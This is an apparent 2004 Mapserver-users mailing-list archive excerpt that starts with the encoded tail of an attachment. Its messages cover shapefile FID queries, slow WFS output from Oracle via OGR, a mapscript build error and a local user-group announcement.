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 nU1FHrO/8WlyG51NRR6zv/FpchudTUUes7/xaXIbnU1FHrO/8WlyG51NRR6zv/FpchudTUUe s7/xaXIbnU1FHrO/8WlyG51NRR6zv/FpchudTUUes7/xaXIbnU1FHrO/8WlyG51NRR6zv/Fp chudTUUes7/xaXIbnU1FHrO/8WlyG51NRR6zv/FpchudTUUes7/xaXIbnU1FHrO/8WlyG51N RR6zv/FpchudTUUes7/xaXIbnU1FHrO/8WlyG51NRR6zv/FpchudTUUes7/xaXIbnU1FHrO/ 8WlyG51NRR6zv/FpchudTUUjuZp04WaLHIQDM1RXSAoDYJhSOjYa0RyXVR/jTUUkes7/AMWl yG51NRR6zv8AxaXIbnU1FHrO/wDFpchudTUUes7/AMWlyG51NRR6zv8AxaXIbnU1FHrO/wDF pchudTUUes7/AMWlyG51NRR6zv8AxaXIbnU1FHrO/wDFpchudTUUes7/AMWlyG51NRR6zv8A xaXIbnU1FHrO/wDFpchudTUUes7/AMWlyG51NRR6zv8AxaXIbnU1FKTE4P59NBMZFzGFRvXt 3mImKl67kUFQio2Fu5ACzt25LJqKZ71Lc/eWZ8uh/wDgpZSZBYZRiHTx3010+cvSpEWVdmTO axC/cABIRPxg57akytLmgzWC/jOJfplfzCFWUhmfz0+Q/B1fB5epsfdje9LeaNWYVHoObly2 atlXLlUiDZAhlV11TAQhCEC8Y5zGsApSgFoiNBWt8W4UcMhft5pisxKc6RnablEyQHSSFdQg qAYS3iIlFQwW5ChezUoWTly2atlXLlUiDZAhlV11TAQhCEC8Y5zGsApSgFoiNB0oFAoIz6Sj o9IFn7pFokN+xRdQqZR1aZlj5TiAd6mmc49gpRHMFB1cuWzVsq5cqkQbIEMquuqYCEIQgXjH OY1gFKUAtERoCrlsioimqqRNRwcUm5DmAoqHAhlBIQB8I1xMxrA9gBH2KDpQKBQKDmk5bLKL JpKkUUbnBJwQhgMKZxIVQCHAPBNcUKawfYEB9mg6UCgUCgUHNs5bOmyTlsqRdsuQqqC6RgOQ 5DheKchi2gYpgG0BCg6UCgUCgUCgUCgUCgUCgUCgUCgUCgUCgUCgUCgUCgUCgUCgzWC/jOJf plfzCFWUhmfz0+Q/B1fB5epsfdje9LeaNWYVHoM5j/vcPEWHIk2kYpy4UHwU0G8m2WWVOOYp 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 wx2ilFl6R4ep84Y7RSiy9I8PU+cMdopRZekeHqfOGO0UosvSPD1PnDHaKUWXpHh6nzhjtFKL L0jw9T5wx2ilFl6R4ep84Y7RSiy9I8PU+cMdopRZekeHqfOGO0UosvSPD1PnDHaKUWXpHh6n zhjtFKLNa8KokVVkdIiyqSAKCs0OAGWUKmURKmsc9l44W2FGmkt2qKUCgUCgUCgUCgUCgUGa wX8ZxL9Mr+YQqykMz+enyH4Or4PL1Nj7sb3pbzRqzCo9BxN/kY/3xx/YuKsJLnLMmD+LeMZE oHj3SCiDwhjCQBRUIJVAE5RKJe9EcoCFlRVfJmwhKggWRXZuk25zqJpKqkMS1VBRscDkvXTl MiucolMAhlq1IrU4Hq9KAAsqi9MBxOKj96o9OYBQVbas53Kqxjpap0qAJGESBfMIFtERp1RJ hmeDody5cs399y7Ikkuu7kV3pxIgJzJkAzpZYSlKKxxsLZnp1HTU4N9XfVzpDbc3Q93dF6T/ APq6rU6u/f1nueS9et7dtOo5uGWCXEqEmq5RFzfIqdMHhyt1FUrATWVbFUBuqqncJcUOQTFu ksHvC2OoqcP4TwNFQTaMXkCSCqLNFmZ2u9VOYupAg32oKLqCztUSIoAIGLdMUghlIUQdRZNo nALfLrGy5jIuG6x3ToXR1knmqBcrg7hRQy18rZIlqgmECFAoWFyU6jkpB4CUAR6Zq1zHBQ7x KScJOjCCCTcQM5TXKuJTptUr5RPYcxAMa0wW06iS2YYEayCT5sdmgsgQpEE0lwIgQSJ6gqhG 5TggVUqAaoFQJf1feXrmSnUW2/IXiDbyyfdqUtm/IXiDbyyfdpRZvyF4g28sn3aUWb8heINv LJ92lFm/IXiDbyyfdpRZvyF4g28sn3aUWb8heINvLJ92lFm/IXiDbyyfdpRZvyF4g28sn3aU Wb8heINvLJ92lFm/IXiDbyyfdpRZvyF4g28sn3aUWb8heINvLJ92lFm/IXiDbyyfdpRZvyF4 g28sn3aUWb8heINvLJ92lFm/IXiDbyyfdpRZvyF4g28sn3aUWb8heINvLJ92lFm/IXiDbyyf dpRZvyF4g28sn3aUWb8heINvLJ92lFm/IXiDbyyfdpRZvyF4g28sn3aUWb8heINvLJ92lFuz Z8ydXuiuE17ll/VHKey3NbdEbLbKD9X90Zf1zL+7Sq490l2qKUCgUCgUCgUCgUCgUGawX8Zx L9Mr+YQqykMz+enyH4Or4PL1Nj7sb3pbzRqzCo9BxN/kY/3xx/YuKsJLtUUoFAoFAoFAoFAo FAoFAoFAoFAoFAoFAoFAoFAoFAoFAoFAoFAoFAoOK/ujL+uZf3aVXHuku1RSgUCgUCgUCgUC gUCgzWC/jOJfplfzCFWUhmfz0+Q/B1fB5epsfdje9LeaNWYVHoOJv8jH++OP7FxVhJdqilAo FAoFAoFAoFAoFAoFAoFAoFAoFAoFAoFAoFAoFAoFAoFAoFAoFBxX90Zf1zL+7Sq490l2qKUC gUCgUCgUCgUCgUGawX8ZxL9Mr+YQqykMz+enyH4Or4PL/9k= --------------010309080703020309050008-- --------------090001050406050102070200-- From nacional at cbs.umn.edu Mon Jun 28 11:42:54 2004 From: nacional at cbs.umn.edu (Pericles S. Nacionales) Date: Mon, 28 Jun 2004 13:42:54 -0500 Subject: [Mapserver-users] Using the shapefile FID in a query In-Reply-To: <002501c45d30$5a681340$1300a8c0@cuestasys.com> References: <002501c45d30$5a681340$1300a8c0@cuestasys.com> Message-ID: <1088448174.12013.28.camel@arceuthobium.ecology.umn.edu> Does you query returns a blank value or does it return [FID]? If blank then something is truly wrong with your script or with MapServer (and I can't help you with that :). If it does say [FID] then it means you actually don't have the field FID in your database. Does your script hide this sort of error from your users? If FID is there and it's the only field you're using in your query, have you tried adding the TOLERANCE (and optionally TOLERANCEUNITS) keyword in your query-able layers? If you're using ArcView to view the database fields, it's also possible that FID is just an alias for the real field name. Sometimes the simplest errors are the hardest ones to find. -Perry On Mon, 2004-06-28 at 11:52, Mark Adams wrote: > I?m puzzled over the behaviour of mapserver in returning query results > from shapefiles. It appears the FID field which is present in all of > the shape files I?m using does not get returned by mapserver when we > use any of the mapscript query functions. There is no error, the field > simply isn?t present in the return value. Is this by design, and is > there a way around this? > > > > This is causing me trouble as I need to have a generic way of > identifying a specific (unique) feature. For example, if I query a > layer and get back a list of 8 results from that query, I want to > present these to the user and give them the option of separately > clicking on and zooming to each of those items. To zoom and highlight > a specific item I need to use the FID ? it?s the only unique key I can > count on. > > > > Thanks in advance. > > > > ------------------------------ > > Mark Adams > > Business & Systems Analyst > > Cuesta Systems Inc. > > 5230 South Service Road > > Burlington, ON L7L 5K2 > > Phone: 905-333-4544 x14 > > Fax: 905-333-0455 > > Email: markadams at cuestasys.com > > -- Pericles S. Nacionales Conservation Biology Program University of Minnesota URL: http://hypnos.cbs.umn.edu/~pnaciona/ E-Mail: nacional at cbs.umn.edu Phone: 612 624 6713 From markadams at cuestasys.com Mon Jun 28 11:47:27 2004 From: markadams at cuestasys.com (Mark Adams) Date: Mon, 28 Jun 2004 14:47:27 -0400 Subject: [Mapserver-users] Using the shapefile FID in a query In-Reply-To: Message-ID: <003901c45d40$615cac50$1300a8c0@cuestasys.com> Steve, Thanks for your reply. Along with Huey Brantley's reply it has cleared up the problem. The first thing was that I'd assumed that the FID field that I am seeing in ArcCatalog and other ESRI desktop products was a physical field in the .dbf - your answer indicates this isn't so, which would certainly explain why I can't see it. The second thing was that I hadn't picked up on indexquery - I'd been looking at the methods available on the layer object.... Indexquery does indeed to the trick. Again thanks for the fantastic support on this list! ------------------------------ Mark Adams Business & Systems Analyst Cuesta Systems Inc. 5230 South Service Road Burlington, ON L7L 5K2 Phone: 905-333-4544 x14 Fax: 905-333-0455 Email: markadams at cuestasys.com -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Steve Lime Sent: Monday, June 28, 2004 1:43 PM To: markadams at cuestasys.com; Mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] Using the shapefile FID in a query Can you share a shapefile? Did you create the FID field or is some other piece of software reporting its existance? ArcView will show a sequential number but that's not part of the shapefile. You might also share your script, or at least a bit of it. Queries do return an index number and that can be used to retrieve features individually. I assume the INDEXQUERY mode of the CGI program is also present in MapScript using something queryByIndex method... Steve >>> "Mark Adams" 06/28/04 11:52 AM >>> I'm puzzled over the behaviour of mapserver in returning query results from shapefiles. It appears the FID field which is present in all of the shape files I'm using does not get returned by mapserver when we use any of the mapscript query functions. There is no error, the field simply isn't present in the return value. Is this by design, and is there a way around this? This is causing me trouble as I need to have a generic way of identifying a specific (unique) feature. For example, if I query a layer and get back a list of 8 results from that query, I want to present these to the user and give them the option of separately clicking on and zooming to each of those items. To zoom and highlight a specific item I need to use the FID * it's the only unique key I can count on. Thanks in advance. ------------------------------ Mark Adams Business & Systems Analyst Cuesta Systems Inc. 5230 South Service Road Burlington, ON L7L 5K2 Phone: 905-333-4544 x14 Fax: 905-333-0455 Email: markadams at cuestasys.com _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From twoslick at gmail.com Mon Jun 28 12:20:44 2004 From: twoslick at gmail.com (Timothy Rupe) Date: Mon, 28 Jun 2004 14:20:44 -0500 Subject: [Mapserver-users] Accessing Oraclespatial data through OGR Message-ID: Hi All, I've installed mapserver, and use OGR to pull data from Oracle. I have no problem creating images from this data, but am having problems with WFS. As long as the bounding box is small (about the area of Missouri), and the data is simple, I can retrieve a gml document using the following query for state data: http://xxxx/cgi-bin/mapserv42?map=/data/source/catalogv2.map&request=getFeature&version=1.0.0&service=WFS&typename=states&bbox=-96.7,35.7,-88.37,41.2 This query only takes a few seconds. However, if I sample another layer that contains more data (like my counties layer), the data being download starts out at about 40K per second and begins to quickly drop down to slower than 1K per second. The bigger the bounding box or larger the dataset, the worse it gets. It almost seems like an exponential time complexity problem, but I don't know where the problem lies. Here is a clip from my map file: LAYER NAME "states" CONNECTIONTYPE OGR CONNECTION "OCI:xxxx/xxxx at test9i" DATA "OGC_CATALOG.STATES" # STATUS OFF TYPE LINE PROJECTION "init=epsg:4326" END CLASS STYLE COLOR 0 0 0 END END DUMP true METADATA WMS_TITLE "State Boundaries" WMS_ABSTRACT "These are state boundaries" WMS_SRS "EPSG:2613" WMS_EXTENT "-130 20 -60 50" WFS_TITLE "State Boundaries" WFS_EXTENT "-130 20 -60 50" WFS_SRS "EPSG:4326" WFS_GEOMETRY_ELEMENT_NAME "geometry" END END LAYER NAME "counties" TYPE line CONNECTIONTYPE OGR CONNECTION "OCI:xxxx/xxxx at test9i" DATA "OGC_CATALOG.COUNTIES" PROJECTION "init=epsg:4326" END TYPE LINE CLASS STYLE COLOR 200 200 200 END END DUMP true METADATA WMS_title "County Boundaries" WMS_ABSTRACT "These are county boundaries" WMS_SRS "EPSG:2613" WMS_EXTENT "-130 20 -60 50" WFS_TITLE "County Boundaries" WFS_EXTENT "-130 20 -60 50" WFS_SRS "EPSG:4326" WFS_GEOMETRY_ELEMENT_NAME "geometry" END END Thanks, Timothy Rupe Programmer USGS Mid-Continent Mapping Center From nacional at cbs.umn.edu Mon Jun 28 12:27:53 2004 From: nacional at cbs.umn.edu (Pericles S. Nacionales) Date: Mon, 28 Jun 2004 14:27:53 -0500 Subject: [Mapserver-users] Using the shapefile FID in a query In-Reply-To: <40E05FFA.5020606@vanderbilt.edu> References: <40E05FFA.5020606@vanderbilt.edu> Message-ID: <1088450873.7922.21.camel@arceuthobium.ecology.umn.edu> Mark, It looks like you're using ArcMap... FID (the object id) is an ArcMap field and doesn't exist in the DBF file. What you can do is add a new field to your database and see if you can copy the values of FID to this new field, perhaps call it FID2 or ShapeID. You can then use FID2 instead of FID in your queries. Be aware that if you edit your shapefile, the new field could become out of sync with FID. -Perry On Mon, 2004-06-28 at 13:14, Huey Brantley wrote: > Do you get a OBJECTID field returned? If so, that's the FID. > > Steve Lime wrote: > > Can you share a shapefile? Did you create the FID field or is some other piece of software reporting its existance? ArcView will show a sequential number but that's not part of the shapefile. You might also share your script, or at least a bit of it. Queries do return an index number and that can be used to retrieve features individually. I assume the INDEXQUERY mode of the CGI program is also present in MapScript using something queryByIndex method... > > > > Steve > > > > > > > > > "Mark Adams" 06/28/04 11:52 AM >>> > > > > > > > I'm puzzled over the behaviour of mapserver in returning query results > > from shapefiles. It appears the FID field which is present in all of the > > shape files I'm using does not get returned by mapserver when we use any > > of the mapscript query functions. There is no error, the field simply > > isn't present in the return value. Is this by design, and is there a way > > around this? > > > > This is causing me trouble as I need to have a generic way of > > identifying a specific (unique) feature. For example, if I query a layer > > and get back a list of 8 results from that query, I want to present > > these to the user and give them the option of separately clicking on and > > zooming to each of those items. To zoom and highlight a specific item I > > need to use the FID * it's the only unique key I can count on. > > > > Thanks in advance. > > > > ------------------------------ > > Mark Adams > > Business & Systems Analyst > > Cuesta Systems Inc. > > 5230 South Service Road > > Burlington, ON L7L 5K2 > > Phone: 905-333-4544 x14 > > Fax: 905-333-0455 > > Email: markadams at cuestasys.com > > > > > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > -- Pericles S. Nacionales Conservation Biology Program University of Minnesota URL: http://hypnos.cbs.umn.edu/~pnaciona/ E-Mail: nacional at cbs.umn.edu Phone: 612 624 6713 From bigfoot at main-task.com Mon Jun 28 12:53:10 2004 From: bigfoot at main-task.com (=?ISO-8859-2?Q?Vladimir_Guzm=E1n?=) Date: Mon, 28 Jun 2004 14:53:10 -0500 Subject: [Mapserver-users] Mapserver-mapscript make error In-Reply-To: <20040628091936Z478378-14848+23248@mail1.centrum.sk> References: <20040628091936Z478378-14848+23248@mail1.centrum.sk> Message-ID: <40E07726.2030409@main-task.com> Maybe you could take a look at http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?RedHat9AndMapserver40 Vladimir Ilich Guzm?n R. ------------------------ http://maintask.com Ing.Peter Misovic wrote: >Hi all here, >i would like to ask for some help with mapserver-mapscript compiling. I'm not advanced user of linux administration, but i like to work on my projects useing mapserver-mapscript. I have made comfigure command s like this : ./configure --with-wmsclient --with-gdal --with-ogr --with-postgis --with-php=/root/gis-install/apache+mysql+php/php-4.3.7/main/ --with-httpd=/usr/local/apache2/bin/httpd > >This works fine, but during make command error occured : http://thailon.at.box.sk/other/mapserver/mapserver-mapscript-make-error.txt > >Can you help my successfully to build mapserver + mapscript application ? >Mapserver was propably maked ok , because i use mapserv from this error make proces and runed demo data and it works fine ... > >Thank you, >Thailon > > > >--------------------------------------------------------- >http://mail.centrum.sk/ - Chce? nov? e-mail, zria? si ho! > > > > > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > From steve.lime at dnr.state.mn.us Mon Jun 28 13:56:32 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Mon, 28 Jun 2004 15:56:32 -0500 Subject: [Mapserver-users] Twin Cities MapServer User Group Message-ID: Sorry for the limited list interest. If you're not in Minnesota or western Wisconsin you can stop reading. Anyway, something I've been wanting to do for along time. If there folks in the Twin Cities metro area (or willing to travel) that would like to participate in a MapServer User Group please contact me off list. I'd like to organize an initial meeting sometime in July and need to know if it's worth the effort. Thanks! Steve From nacional at cbs.umn.edu Mon Jun 28 13:16:55 2004 From: nacional at cbs.umn.edu (Pericles S. Nacionales) Date: Mon, 28 Jun 2004 15:16:55 